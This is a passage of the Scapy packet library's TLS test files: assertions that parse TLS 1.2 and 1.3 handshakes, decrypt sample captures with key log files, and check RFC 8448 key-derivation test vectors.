8a08204f0308204ec308204e8308202d0a00302010202136b00086694d48d4b29943630f5000000086694300d06092a864886f70d01010b0500304f310b3009060355040613025553311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e3120301e060355040313174d6963726f736f66742052534120544c53204341203031301e170d3231303230323139353831335a170d3232303230323139353831335a30353133303106035504030c2a4d6963726f736f66745f5253415f544c535f49737375696e675f43415f30315f4b657942696e64696e6730820122300d06092a864886f70d01010105000382010f003082010a0282010100b65a936febea1694e5de2b8dfc1997d265f3582b94f9be1fb56bb96e2191c5df170bb52d276c30c8fdc876f1e5b3d9b900571e17fd505534f56db0ab7953261a34911e9fb0340aac76c1baede9a580ee86eba49f0e3d7cddcc60d973c69afc157aaa5d2d6ede3cd7d9a265098ee932fde13049e0f1490b2bb88bd56b6e26033ad99f49f6b7366eb275e6550c6b74f1823ac6dcf86a843825ade03f670a7ce895c840a7cfca247bc94d608ee30feefa8346470bc69f0f2e847b5896b377d70fa20e99d3af06b2d8c286b512fad8070cdc33f3302f48ad02014a21de13d1a04fbdf6fca54cc7364e303a1b458d2093fb8e98f686c2d8da374e757f8ac25b2210e70203010001a381d63081d3301d0603551d0e041604149a0190a5b9942f43bc62113fcd3d404bead25250300e0603551d0f0101ff04040302078030130603551d25040c300a06082b06010505070309300f06092b060105050730010504020500301f0603551d23041830168014b5760c3011cec792424d4cc75c2cc8a90ce80b64303e06092b06010401823715070431302f06272b060104018237150887da867583eed90182c9851b81b59e6185f4eb60815d81cc9b4781c8e916020164020107301b06092b060104018237150a040e300c300a06082b06010505070309300d06092a864886f70d01010b0500038202010012d83b821ff2afc4d67c63cee2d9a1045c1a1f0628274e1da3ef03fcdc720d420423478090afe6cbbaf4c753fdcad04aef5ca919c96ab9b540a64cc23d24181e7016391e780ae56a0897a372ea9a93a959c0d713ae0cbd5e6ca420724a110ac0901d671ea8c57ba31db062a7df4bbc8cb78d820262f9ba12e4313edb85155f69c47a05fa6171958e6577b61910357a5940a3c3f186eb07a37968c7f17b5614603aae4e71cb2d5f122bbea187888452239cb9c0d338d913604034e4eb3be2639a15836d08b4b4f38287414e5cd144a23aa95edb59236205397263ead5b0ef1a2239f54149f9b5992a2964a28373652a1bb31a772a04c5d4eef2fd0e5853094590ccc5b1bcb9fc1910d31652cc8f2e72c685665834f3826613dd456655ae9c9f21283a1684123fa144bc3276f50ead086fd9c149b670b27804057472602a984a3de016f65bf0980baa8a0cbadd53b061800347fec63d80b0b68d164e295e682a890ae433c439ae04a31dd8b9260c81692a110e8583038e767ceab2b87db2067eeb1973aa5bbcd5f3b4fca071ca60361d9815e87c76c44e9791c7aa25defaaaa28d72c709ad434b44974ed50546b685e215c7a70065503f0014d5f9f1fdf851930af51e7c425d0ea0d966377f44d60bf6345a05d750d2de25ebb1957bdac56b1d9a3a4e556bf398e063062ea7e1400a279abb085c1fadb9e517231b5fdcb0d868c10c00016903001861040089499a5bf709647d1cd5e41d381c15ab96100c86f0d66d0ba53a224b2adb7897f63de0368a080e17e80da5f70505d58c5317cb047dfeeecc1c7e160fdbf4747c78fb2641b233ad509c12de3a83c3d9cab174c8ca3a748d43766a11eeaa3e8c080401006f041a8741e47e744c7b6b83abf44bc722ae7f1ca19e12989106c2a78a37c8713cac664d1d1dbff6a566b05f478f15123fb155850cafeb36120e9fb24ae4fc5f4c6e4614ebcaf1dab4a79405325d4774cef1c85facffdf57c182c7e22d29facb2ee7460b716aaa6b5e3235036d21a6212414f2d75fc85caa91317fcd0318c651f8459f32bfbda3f3b2e04c1f0c2f8982ea16d2df599133881106b27d53276703bc43230f0fdcadb8b1fe13101d1055a14d6cc6af8fa48d6dd23a0a36fb5d6ebb8f5021e3e20900b5de2442da9853d2446d75b1c2198d24cdc2a5a3d07a9aab451e196c6c49fce20bdb71a7190de2964afd934a7f14afb7872a49ab6a7a5cf2d30e000000' pkt = TLS(bytes.fromhex(data)) assert [type(x) for x in pkt.msg] == [TLSServerHello, TLSCertificate, TLSCertificateStatus, TLSServerKeyExchange, TLSServerHelloDone] = Issue 3853 data = hex_bytes("16030300360200002e030342615f0b32366c85b5de265ec99fd68c59079d9783dc2f547592fe12f4ab3fde00c02c000015ff01000100000e000000") tls_packet = TLS(data) assert raw(tls_packet) == data ############################################################################### ############################ Automaton behaviour ############################## ############################################################################### # see scapy/layers/tls/tlsclientserver.uts ############################################################################### ####################### Decrypt packets from a pcap ########################## ############################################################################### + Decrypt packets from a pcap = pcap file & external TLS Key Log file bck_conf = conf conf.tls_session_enable = True conf.tls_nss_filename = scapy_path("doc/notebooks/tls/raw_data/tls_nss_example.keys.txt") packets = sniff(offline=scapy_path("doc/notebooks/tls/raw_data/tls_nss_example.pcap"), session=TCPSession) assert b"GET /pki/srv_key.pem HTTP/1.0\r\n" in packets[9].msg[0].data assert b"BEGIN PRIVATE KEY" in packets[10].msg[0].data assert b"GET /pki/srv_key.pem HTTP/1.0\r\n" in packets[27].inner.msg[0].data assert b"BEGIN PRIVATE KEY" in packets[28].inner.msg[0].data conf = bck_conf = pcapng file with a Decryption Secrets Block ~ tshark linux import shutil if shutil.which("editcap"): bck_conf = conf key_log_path = scapy_path("doc/notebooks/tls/raw_data/tls_nss_example.keys.txt") pcap_path = scapy_path("doc/notebooks/tls/raw_data/tls_nss_example.pcap") pcapng_path = get_temp_file() exit_status = os.system("editcap --inject-secrets tls,%s %s %s" % (key_log_path, pcap_path, pcapng_path)) assert exit_status == 0 packets = sniff(offline=pcapng_path, session=TCPSession) assert b"GET /pki/srv_key.pem HTTP/1.0\r\n" in packets[9].msg[0].data assert b"BEGIN PRIVATE KEY" in packets[10].msg[0].data assert b"GET /pki/srv_key.pem HTTP/1.0\r\n" in packets[27].inner.msg[0].data assert b"BEGIN PRIVATE KEY" in packets[28].inner.msg[0].data conf = bck_conf = pcapng file with a non-UTF-8 Decryption Secrets Block # GH3936 hdump = """ 00000000 0a 0d 0d 0a c4 00 00 00 4d 3c 2b 1a 01 00 00 00 |........M<+.....| 00000010 ff ff ff ff ff ff ff ff 02 00 37 00 49 6e 74 65 |..........7.Inte| 00000020 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 20 69 37 |l(R) Core(TM) i7| 00000030 2d 36 37 30 30 48 51 20 43 50 55 20 40 20 32 2e |-6700HQ CPU @ 2.| 00000040 36 30 47 48 7a 20 28 77 69 74 68 20 53 53 45 34 |60GHz (with SSE4| 00000050 2e 32 29 00 03 00 2a 00 4c 69 6e 75 78 20 34 2e |.2)...*.Linux 4.| 00000060 32 30 2e 31 32 2d 67 65 6e 74 6f 6f 2d 61 6e 64 |20.12-gentoo-and| 00000070 72 6f 6d 65 64 61 2d 32 30 31 39 30 33 30 35 2d |romeda-20190305-| 00000080 76 31 00 00 04 00 33 00 44 75 6d 70 63 61 70 20 |v1....3.Dumpcap | 00000090 28 57 69 72 65 73 68 61 72 6b 29 20 33 2e 31 2e |(Wireshark) 3.1.| 000000a0 30 20 28 76 33 2e 31 2e 30 72 63 30 2d 34 36 38 |0 (v3.1.0rc0-468| 000000b0 2d 67 65 33 65 34 32 32 32 62 29 00 00 00 00 00 |-ge3e4222b).....| 000000c0 c4 00 00 00 0a 00 00 00 c4 00 00 00 4b 53 4c 54 |............KSLT| 000000d0 b0 00 00 00 43 4c 49 45 4e 54 5f 52 41 4e 44 4f |....CLIENT_RANDO| 000000e0 4d 20 41 36 39 39 35 43 37 44 35 41 35 31 35 42 |M A6995C7D5A515B| 000000f0 30 44 34 39 41 31 42 38 31 33 33 39 33 34 32 37 |0D49A1B813393427| 00000100 43 43 35 43 39 44 42 37 36 36 37 38 45 34 38 44 |CC5C9DB76678E48D| 00000110 31 41 43 35 39 31 44 37 44 37 44 35 42 38 30 31 |1AC591D7D7D5B801| 00000120 44 43 20 34 30 33 37 35 37 34 30 31 42 30 30 37 |DC 403757401B007| 00000130 34 35 33 38 33 41 46 36 41 36 30 38 31 39 42 43 |45383AF6A60819BC| 00000140 37 46 38 42 36 33 39 33 42 37 32 45 44 45 39 46 |7F8B6393B72EDE9F| 00000150 45 42 32 30 44 33 31 33 46 38 31 42 39 c0 bd bb |EB20D313F81B9...| 00000160 c6 36 46 36 41 43 37 34 32 46 46 46 35 45 43 31 |.6F6AC742FFF5EC1| 00000170 44 31 41 32 44 39 39 41 46 34 39 35 33 45 31 33 |D1A2D99AF4953E13| 00000180 33 34 41 0a c4 00 00 00 |34A.....| 00000188 """.strip() assert len(rdpcap(io.BytesIO(import_hexcap(hdump)))) == 0 = pcap file & external TLS Key Log file with TCPSession (without extms) * GH3722 # Write SSLKEYLOGFILE temp_sslkeylog = get_temp_file() with open(temp_sslkeylog, "w") as fd: fd.write("CLIENT_RANDOM 09F91DA01B1FEB50B691C932959111E5E1D676437F7A42DE47EA881F6295D4E7 EE119869B732F0F9561FFDD95E50A2ACBF268EE0C7C33B409E68C1972E0B280944F7345E845E82F909CCFEB61C456E1F\n") bck_conf = conf conf.tls_session_enable = True conf.tls_nss_filename = temp_sslkeylog packets = sniff(offline=scapy_path("test/pcaps/tls_tcp_frag_withnss.pcap.gz"), session=TCPSession) packets.show() assert packets[8].getlayer(TLS, 3).msg[0].msgtype == 20 assert packets[8].getlayer(TLS, 3).msg[0].vdata == b'\n\xd4`\xf0\xd9X\x02\x10Z\x81\xf4l' assert packets[10].getlayer(TLS, 3).msg[0].msgtype == 20 assert packets[10].getlayer(TLS, 3).msg[0].vdata == b'\xa6>f\xd8\xacf\x99| \xbd<\xa1' assert packets[11].msg[0].data == b'GET /uuid HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.22000.832\r\nHost: httpbin.org\r\nConnection: Keep-Alive\r\n\r\n' assert packets[13].msg[0].data == b'HTTP/1.1 200 OK\r\nDate: Sat, 20 Aug 2022 22:32:24 GMT\r\nContent-Type: application/json\r\nContent-Length: 53\r\nConnection: keep-alive\r\nServer: gunicorn/19.9.0\r\nAccess-Control-Allow-Origin: *\r\nAccess-Control-Allow-Credentials: true\r\n\r\n{\n "uuid": "5bad226d-504a-4416-a11a-8a5f8edbdbbd"\n}\n' # Test summary() assert packets[6].summary() == 'Ether / IP / TCP / TLS 52.87.105.151:443 > 10.211.55.3:51933 / TLS / TLS Handshake - Certificate / TLS / TLS Handshake - Server Key Exchange / TLS / TLS Handshake - Server Hello Done' assert packets[8].summary() == 'Ether / IP / TCP / TLS 10.211.55.3:51933 > 52.87.105.151:443 / TLS / TLS Handshake - Client Key Exchange / TLS / TLS ChangeCipherSpec / TLS / TLS Handshake - Finished' conf = bck_conf ================================================ FILE: test/scapy/layers/tls/tls13.uts ================================================ % Tests for TLS 1.3 # # Try me with : # bash test/run_tests -t test/scapy/layers/tls/tls13.uts -F ~ libressl + Read a protected TLS 1.3 session # /!\ These tests will not catch our 'INTEGRITY CHECK FAILED's. /!\ # We deem the knowledge of the plaintext sufficient for passing... #~ crypto = Reading test session - Loading unparsed TLS 1.3 records import binascii def clean(s): return binascii.unhexlify(''.join(c for c in s if c.isalnum())) clientHello = clean(""" 16 03 01 00 c4 01 00 00 c0 03 03 cb 34 ec b1 e7 81 63 ba 1c 38 c6 da cb 19 6a 6d ff a2 1a 8d 99 12 ec 18 a2 ef 62 83 02 4d ec e7 00 00 06 13 01 13 03 13 02 01 00 00 91 00 00 00 0b 00 09 00 00 06 73 65 72 76 65 72 ff 01 00 01 00 00 0a 00 14 00 12 00 1d 00 17 00 18 00 19 01 00 01 01 01 02 01 03 01 04 00 23 00 00 00 33 00 26 00 24 00 1d 00 20 99 38 1d e5 60 e4 bd 43 d2 3d 8e 43 5a 7d ba fe b3 c0 6e 51 c1 3c ae 4d 54 13 69 1e 52 9a af 2c 00 2b 00 03 02 03 04 00 0d 00 20 00 1e 04 03 05 03 06 03 02 03 08 04 08 05 08 06 04 01 05 01 06 01 02 01 04 02 05 02 06 02 02 02 00 2d 00 02 01 01 00 1c 00 02 40 01 """) serverHello = clean(""" 16 03 03 00 5a 02 00 00 56 03 03 a6 af 06 a4 12 18 60 dc 5e 6e 60 24 9c d3 4c 95 93 0c 8a c5 cb 14 34 da c1 55 77 2e d3 e2 69 28 00 13 01 00 00 2e 00 33 00 24 00 1d 00 20 c9 82 88 76 11 20 95 fe 66 76 2b db f7 c6 72 e1 56 d6 cc 25 3b 83 3d f1 dd 69 b1 b0 4e 75 1f 0f 00 2b 00 02 03 04 """) serverEncHS = clean(""" 17 03 03 02 a2 d1 ff 33 4a 56 f5 bf f6 59 4a 07 cc 87 b5 80 23 3f 50 0f 45 e4 89 e7 f3 3a f3 5e df 78 69 fc f4 0a a4 0a a2 b8 ea 73 f8 48 a7 ca 07 61 2e f9 f9 45 cb 96 0b 40 68 90 51 23 ea 78 b1 11 b4 29 ba 91 91 cd 05 d2 a3 89 28 0f 52 61 34 aa dc 7f c7 8c 4b 72 9d f8 28 b5 ec f7 b1 3b d9 ae fb 0e 57 f2 71 58 5b 8e a9 bb 35 5c 7c 79 02 07 16 cf b9 b1 18 3e f3 ab 20 e3 7d 57 a6 b9 d7 47 76 09 ae e6 e1 22 a4 cf 51 42 73 25 25 0c 7d 0e 50 92 89 44 4c 9b 3a 64 8f 1d 71 03 5d 2e d6 5b 0e 3c dd 0c ba e8 bf 2d 0b 22 78 12 cb b3 60 98 72 55 cc 74 41 10 c4 53 ba a4 fc d6 10 92 8d 80 98 10 e4 b7 ed 1a 8f d9 91 f0 6a a6 24 82 04 79 7e 36 a6 a7 3b 70 a2 55 9c 09 ea d6 86 94 5b a2 46 ab 66 e5 ed d8 04 4b 4c 6d e3 fc f2 a8 94 41 ac 66 27 2f d8 fb 33 0e f8 19 05 79 b3 68 45 96 c9 60 bd 59 6e ea 52 0a 56 a8 d6 50 f5 63 aa d2 74 09 96 0d ca 63 d3 e6 88 61 1e a5 e2 2f 44 15 cf 95 38 d5 1a 20 0c 27 03 42 72 96 8a 26 4e d6 54 0c 84 83 8d 89 f7 2c 24 46 1a ad 6d 26 f5 9e ca ba 9a cb bb 31 7b 66 d9 02 f4 f2 92 a3 6a c1 b6 39 c6 37 ce 34 31 17 b6 59 62 22 45 31 7b 49 ee da 0c 62 58 f1 00 d7 d9 61 ff b1 38 64 7e 92 ea 33 0f ae ea 6d fa 31 c7 a8 4d c3 bd 7e 1b 7a 6c 71 78 af 36 87 90 18 e3 f2 52 10 7f 24 3d 24 3d c7 33 9d 56 84 c8 b0 37 8b f3 02 44 da 8c 87 c8 43 f5 e5 6e b4 c5 e8 28 0a 2b 48 05 2c f9 3b 16 49 9a 66 db 7c ca 71 e4 59 94 26 f7 d4 61 e6 6f 99 88 2b d8 9f c5 08 00 be cc a6 2d 6c 74 11 6d bd 29 72 fd a1 fa 80 f8 5d f8 81 ed be 5a 37 66 89 36 b3 35 58 3b 59 91 86 dc 5c 69 18 a3 96 fa 48 a1 81 d6 b6 fa 4f 9d 62 d5 13 af bb 99 2f 2b 99 2f 67 f8 af e6 7f 76 91 3f a3 88 cb 56 30 c8 ca 01 e0 c6 5d 11 c6 6a 1e 2a c4 c8 59 77 b7 c7 a6 99 9b bf 10 dc 35 ae 69 f5 51 56 14 63 6c 0b 9b 68 c1 9e d2 e3 1c 0b 3b 66 76 30 38 eb ba 42 f3 b3 8e dc 03 99 f3 a9 f2 3f aa 63 97 8c 31 7f c9 fa 66 a7 3f 60 f0 50 4d e9 3b 5b 84 5e 27 55 92 c1 23 35 ee 34 0b bc 4f dd d5 02 78 40 16 e4 b3 be 7e f0 4d da 49 f4 b4 40 a3 0c b5 d2 af 93 98 28 fd 4a e3 79 4e 44 f9 4d f5 a6 31 ed e4 2c 17 19 bf da bf 02 53 fe 51 75 be 89 8e 75 0e dc 53 37 0d 2b """) clientEncHS = clean(""" 17 03 03 00 35 75 ec 4d c2 38 cc e6 0b 29 80 44 a7 1e 21 9c 56 cc 77 b0 51 7f e9 b9 3c 7a 4b fc 44 d8 7f 38 f8 03 38 ac 98 fc 46 de b3 84 bd 1c ae ac ab 68 67 d7 26 c4 05 46 """) = Reading TLS 1.3 session - TLS parsing (no encryption) does not throw any error # We will need to distinguish between connection ends. See next XXX below. from scapy.layers.tls.record import TLS t1 = TLS(clientHello) t2 = TLS(serverHello, tls_session=t1.tls_session.mirror()) = Reading TLS 1.3 session - TLS Record header # We leave the possibility for some attributes to be either '' or None. assert t1.type == 0x16 assert t1.version == 0x0301 assert t1.len == 196 assert not t1.iv assert not t1.mac assert not t1.pad and not t1.padlen len(t1.msg) == 1 = Reading TLS 1.3 session - TLS Record __getitem__ from scapy.layers.tls.handshake import TLSClientHello TLSClientHello in t1 = Reading TLS 1.3 session - ClientHello ch = t1.msg[0] assert isinstance(ch, TLSClientHello) assert ch.msgtype == 1 assert ch.msglen == 192 assert ch.version == 0x0303 assert ch.gmt_unix_time == 0xcb34ecb1 assert ch.random_bytes == b'\xe7\x81c\xba\x1c8\xc6\xda\xcb\x19jm\xff\xa2\x1a\x8d\x99\x12\xec\x18\xa2\xefb\x83\x02M\xec\xe7' assert ch.sidlen == 0 assert not ch.sid assert ch.cipherslen == 6 assert ch.ciphers == [4865, 4867, 4866] assert ch.complen == 1 assert ch.comp == [0] = Reading TLS 1.3 session - ClientHello extensions from scapy.layers.tls.extensions import (TLS_Ext_ServerName, TLS_Ext_RenegotiationInfo, TLS_Ext_SupportedGroups, TLS_Ext_SessionTicket, TLS_Ext_SupportedVersion_CH, TLS_Ext_SignatureAlgorithms, TLS_Ext_PSKKeyExchangeModes, TLS_Ext_RecordSizeLimit) from scapy.layers.tls.keyexchange_tls13 import TLS_Ext_KeyShare_CH assert ch.extlen == 145 ext = ch.ext assert len(ext) == 9 assert isinstance(ext[0], TLS_Ext_ServerName) assert ext[0].type == 0 assert ext[0].len == 11 assert ext[0].servernameslen == 9 assert len(ext[0].servernames) == 1 assert ext[0].servernames[0].nametype == 0 assert ext[0].servernames[0].namelen == 6 assert ext[0].servernames[0].servername == b"server" assert isinstance(ext[1], TLS_Ext_RenegotiationInfo) assert not ext[1].renegotiated_connection assert isinstance(ext[2], TLS_Ext_SupportedGroups) assert ext[2].groups == [29, 23, 24, 25, 256, 257, 258, 259, 260] assert isinstance(ext[3], TLS_Ext_SessionTicket) assert not ext[3].ticket assert isinstance(ext[4], TLS_Ext_KeyShare_CH) assert ext[4].client_shares_len == 36 assert len(ext[4].client_shares) == 1 assert ext[4].client_shares[0].group == 29 assert ext[4].client_shares[0].kxlen == 32 assert ext[4].client_shares[0].key_exchange == b'\x998\x1d\xe5`\xe4\xbdC\xd2=\x8eCZ}\xba\xfe\xb3\xc0nQ\xc1<\xaeMT\x13i\x1eR\x9a\xaf,' assert isinstance(ext[5],TLS_Ext_SupportedVersion_CH) assert ext[5].len == 3 assert ext[5].versionslen == 2 assert ext[5].versions == [772] assert isinstance(ext[6], TLS_Ext_SignatureAlgorithms) assert ext[6].sig_algs_len == 30 assert len(ext[6].sig_algs) == 15 assert ext[6].sig_algs[0] == 1027 assert ext[6].sig_algs[-1] == 514 assert isinstance(ext[7], TLS_Ext_PSKKeyExchangeModes) assert ext[7].kxmodeslen == 1 assert ext[7].kxmodes[0] == 1 assert isinstance(ext[8], TLS_Ext_RecordSizeLimit) assert ext[8].record_size_limit == 16385 = Reading TLS 1.3 session - ServerHello from scapy.layers.tls.handshake import TLS13ServerHello from scapy.layers.tls.extensions import TLS_Ext_SupportedVersion_SH from scapy.layers.tls.keyexchange_tls13 import TLS_Ext_KeyShare_SH assert TLS13ServerHello in t2 sh = t2.msg[0] ext = sh.ext assert isinstance(sh, TLS13ServerHello) assert sh.random_bytes == b'\xa6\xaf\x06\xa4\x12\x18`\xdc^n`$\x9c\xd3L\x95\x93\x0c\x8a\xc5\xcb\x144\xda\xc1Uw.\xd3\xe2i(' assert sh.cipher == 0x1301 assert len(sh.ext) == 2 assert isinstance(ext[0], TLS_Ext_KeyShare_SH) assert ext[0].len == 36 assert ext[0].server_share.group == 29 assert ext[0].server_share.key_exchange == b'\xc9\x82\x88v\x11 \x95\xfefv+\xdb\xf7\xc6r\xe1V\xd6\xcc%;\x83=\xf1\xddi\xb1\xb0Nu\x1f\x0f' assert isinstance(ext[1], TLS_Ext_SupportedVersion_SH) assert ext[1].version == 0x0304 = Reading TLS 1.3 session - TLS parsing (with encryption) does not throw any error from scapy.layers.tls.record_tls13 import TLS13 t3 = TLS13(serverEncHS, tls_session=t2.tls_session) = Reading TLS 1.3 session - TLS13 Record header assert t3.type == 0x17 assert t3.version == 0x0303 assert t3.len == 674 = Reading TLS 1.3 session - TLS13 Record __getitem__ TLS13 in t3 = Reading TLS 1.3 session - TLS13 ApplicationData from scapy.layers.tls.record_tls13 import TLSInnerPlaintext TLSInnerPlaintext in t3 assert len(t3.auth_tag) == 16 assert t3.auth_tag == b'\xbf\x02S\xfeQu\xbe\x89\x8eu\x0e\xdcS7\r+' + Decrypt a TLS 1.3 session = Decrypt a TLS 1.3 session - Parse client Hello ~ crypto_advanced from scapy.layers.tls.extensions import TLS_Ext_SessionTicket # Values from RFC8448, section 3 x25519_clt_priv = clean(""" 49 af 42 ba 7f 79 94 85 2d 71 3e f2 78 4b cb ca a7 91 1d e2 6a dc 56 42 cb 63 45 40 e7 ea 50 05 """) x25519_clt_pub = clean(""" 99 38 1d e5 60 e4 bd 43 d2 3d 8e 43 5a 7d ba fe b3 c0 6e 51 c1 3c ae 4d 54 13 69 1e 52 9a af 2c """) t = TLS(clientHello) assert len(t.msg) == 1 assert t.msg[0].msgtype == 1 assert t.msg[0].extlen == 145 assert len(t.msg[0].ext) == 9 e = t.msg[0].ext assert isinstance(e[0], TLS_Ext_ServerName) assert isinstance(e[1], TLS_Ext_RenegotiationInfo) assert isinstance(e[2], TLS_Ext_SupportedGroups) assert isinstance(e[3],TLS_Ext_SessionTicket) assert e[3].len == 0 assert isinstance(e[4], TLS_Ext_KeyShare_CH) assert len(e[4].client_shares) == 1 assert e[4].client_shares[0].group == 29 assert e[4].client_shares[0].key_exchange == x25519_clt_pub assert isinstance(e[5], TLS_Ext_SupportedVersion_CH) assert isinstance(e[6], TLS_Ext_SignatureAlgorithms) assert isinstance(e[7], TLS_Ext_PSKKeyExchangeModes) assert e[7].kxmodeslen == 1 assert len(e[7].kxmodes) == 1 assert e[7].kxmodes[0] == 1 assert isinstance(e[8], TLS_Ext_RecordSizeLimit) = Decrypt a TLS 1.3 session - Parse server Hello ~ crypto_advanced from cryptography.hazmat.primitives.asymmetric.x25519 import X25519PrivateKey from scapy.layers.tls.crypto.pkcs1 import pkcs_os2ip # Values from RFC8448, section 3 x25519_srv_priv = clean(""" b1 58 0e ea df 6d d5 89 b8 ef 4f 2d 56 52 57 8c c8 10 e9 98 01 91 ec 8d 05 83 08 ce a2 16 a2 1e """) x25519_srv_pub = clean(""" c9 82 88 76 11 20 95 fe 66 76 2b db f7 c6 72 e1 56 d6 cc 25 3b 83 3d f1 dd 69 b1 b0 4e 75 1f 0f """) privkey = X25519PrivateKey.from_private_bytes(x25519_clt_priv) t.tls_session.tls13_client_privshares["x25519"] = privkey t = TLS(serverHello, tls_session=t.tls_session.mirror()) assert len(t.msg) == 1 assert isinstance(t.msg[0], TLS13ServerHello) assert len(t.msg[0].ext) == 2 e = t.msg[0].ext assert isinstance(e[0], TLS_Ext_KeyShare_SH) assert e[0].server_share.group == 29 assert e[0].server_share.key_exchange == x25519_srv_pub assert isinstance(e[1], TLS_Ext_SupportedVersion_SH) = Decrypt a TLS 1.3 session - Handshake traffic secret derivation ~ crypto_advanced # Values from RFC8448, section 3 early_secret = clean(""" 33 ad 0a 1c 60 7e c0 3b 09 e6 cd 98 93 68 0c e2 10 ad f3 00 aa 1f 26 60 e1 b2 2e 10 f1 70 f9 2a """) ecdhe_secret = clean(""" 8b d4 05 4f b5 5b 9d 63 fd fb ac f9 f0 4b 9f 0d 35 e6 d6 3f 53 75 63 ef d4 62 72 90 0f 89 49 2d """) handshake_secret = clean(""" 1d c8 26 e9 36 06 aa 6f dc 0a ad c1 2f 74 1b 01 04 6a a6 b9 9f 69 1e d2 21 a9 f0 ca 04 3f be ac """) client_handshake_traffic_secret = clean(""" b3 ed db 12 6e 06 7f 35 a7 80 b3 ab f4 5e 2d 8f 3b 1a 95 07 38 f5 2e 96 00 74 6a 0e 27 a5 5a 21 """) server_handshake_traffic_secret = clean(""" b6 7b 7d 69 0c c1 6c 4e 75 e5 42 13 cb 2d 37 b4 e9 c9 12 bc de d9 10 5d 42 be fd 59 d3 91 ad 38 """) assert len(t.tls_session.tls13_derived_secrets) == 5 assert t.tls_session.tls13_early_secret is not None assert t.tls_session.tls13_early_secret == early_secret assert t.tls_session.tls13_dhe_secret == ecdhe_secret assert t.tls_session.tls13_handshake_secret is not None assert t.tls_session.tls13_handshake_secret == handshake_secret assert 'client_handshake_traffic_secret' in t.tls_session.tls13_derived_secrets assert t.tls_session.tls13_derived_secrets['client_handshake_traffic_secret'] == client_handshake_traffic_secret assert 'server_handshake_traffic_secret' in t.tls_session.tls13_derived_secrets assert t.tls_session.tls13_derived_secrets['server_handshake_traffic_secret'] == server_handshake_traffic_secret = Decrypt a TLS 1.3 session - Server handshake traffic key calculation ~ crypto_advanced # Values from RFC8448, section 3 server_hs_traffic_key = clean(""" 3f ce 51 60 09 c2 17 27 d0 f2 e4 e8 6e e4 03 bc """) server_hs_traffic_iv = clean(""" 5d 31 3e b2 67 12 76 ee 13 00 0b 30 """) assert t.tls_session.prcs.cipher.key == server_hs_traffic_key assert t.tls_session.prcs.cipher.fixed_iv == server_hs_traffic_iv = Decrypt a TLS 1.3 session - Decrypt and parse server encrypted handshake ~ crypto_advanced # Values from RFC8448, section 3 server_finished = clean(""" 88 63 e6 bf b0 42 0a 92 7f a2 7f 34 33 6a 70 ae 42 6e 96 8e 3e b8 84 94 5b 96 85 6d ba 39 76 d1 """) t = TLS13(serverEncHS, tls_session=t.tls_session) assert t.deciphered_len == 658 assert t.inner.type == 22 assert len(t.inner.msg) == 4 assert t.auth_tag == b'\xbf\x02S\xfeQu\xbe\x89\x8eu\x0e\xdcS7\r+' m = t.inner.msg = Decrypt a TLS 1.3 session - Parse decrypted EncryptedExtension ~ crypto_advanced from scapy.layers.tls.handshake import TLSEncryptedExtensions assert isinstance(m[0], TLSEncryptedExtensions) assert m[0].msgtype == 8 assert m[0].msglen == 36 assert m[0].extlen == 34 assert len(m[0].ext) == 3 assert isinstance(m[0].ext[0], TLS_Ext_SupportedGroups) assert m[0].ext[0].groupslen == 18 assert m[0].ext[0].groups == [29, 23, 24, 25, 256, 257, 258, 259, 260] assert isinstance(m[0].ext[1], TLS_Ext_RecordSizeLimit) assert m[0].ext[1].record_size_limit == 16385 assert isinstance(m[0].ext[2], TLS_Ext_ServerName) assert m[0].ext[2].len == 0 = Decrypt a TLS 1.3 session - Parse decrypted TLS13Certificate ~ crypto_advanced from scapy.layers.tls.cert import Cert from scapy.layers.tls.handshake import (_ASN1CertAndExt, TLS13Certificate) assert isinstance(m[1], TLS13Certificate) assert m[1].msgtype == 11 assert m[1].msglen == 441 assert m[1].cert_req_ctxt_len == 0 assert m[1].cert_req_ctxt == b'' assert m[1].certslen == 437 assert len(m[1].certs) == 1 assert isinstance(m[1].certs[0], _ASN1CertAndExt) assert m[1].certs[0].cert[0] == 432 assert isinstance(m[1].certs[0].cert[1], Cert) assert m[1].certs[0].cert[1].cA == False assert m[1].certs[0].cert[1].isSelfSigned() == True assert m[1].certs[0].cert[1].issuer['commonName'] == 'rsa' assert m[1].certs[0].cert[1].keyUsage == ['digitalSignature', 'keyEncipherment'] assert m[1].certs[0].cert[1].notAfter_str == '2026-07-30 01:23:59 UTC' assert m[1].certs[0].cert[1].notBefore_str == '2016-07-30 01:23:59 UTC' assert m[1].certs[0].cert[1].serial == 2 assert m[1].certs[0].cert[1].sigAlg == 'sha256WithRSAEncryption' assert m[1].certs[0].cert[1].signatureLen == 128 assert m[1].certs[0].cert[1].subject['commonName'] == 'rsa' assert m[1].certs[0].cert[1].version == 3 = Decrypt a TLS 1.3 session - Parse decrypted TLSCertificateVerify ~ crypto_advanced from scapy.layers.tls.handshake import TLSCertificateVerify from scapy.layers.tls.keyexchange import _TLSSignature assert isinstance(m[2], TLSCertificateVerify) assert isinstance(m[2], TLSCertificateVerify) assert m[2].msgtype == 15 assert m[2].msglen == 132 assert isinstance(m[2].sig, _TLSSignature) assert m[2].sig.sig_alg == 2052 assert m[2].sig.sig_len == 128 assert m[2].sig.sig_val == b"Zt|]\x88\xfa\x9b\xd2\xe5Z\xb0\x85\xa6\x10\x15\xb7!\x1f\x82L\xd4\x84\x14Z\xb3\xffR\xf1\xfd\xa8G{\x0bz\xbc\x90\xdbx\xe2\xd3:\\\x14\x1a\x07\x86S\xfak\xefx\x0c^\xa2H\xee\xaa\xa7\x85\xc4\xf3\x94\xca\xb6\xd3\x0b\xbe\x8dHY\xeeQ\x1f`)W\xb1T\x11\xac\x02vqE\x9eFD\\\x9e\xa5\x8c\x18\x1e\x81\x8e\x95\xb8\xc3\xfb\x0b\xf3'\x84\t\xd3\xbe\x15*=\xa5\x04>\x06=\xdae\xcd\xf5\xae\xa2\rS\xdf\xac\xd4/t\xf3" = Decrypt a TLS 1.3 session - Parse decrypted TLSFinished ~ crypto_advanced from scapy.layers.tls.handshake import TLSFinished # Values from RFC8448, section 3 server_finished = clean(""" 9b 9b 14 1d 90 63 37 fb d2 cb dc e7 1d f4 de da 4a b4 2c 30 95 72 cb 7f ff ee 54 54 b7 8f 07 18 """) assert isinstance(m[3], TLSFinished) assert m[3].msgtype == 20 assert m[3].msglen == 32 assert m[3].vdata == server_finished = Decrypt a TLS 1.3 session - Client handshake traffic key calculation ~ crypto_advanced # Values from RFC8448, section 3 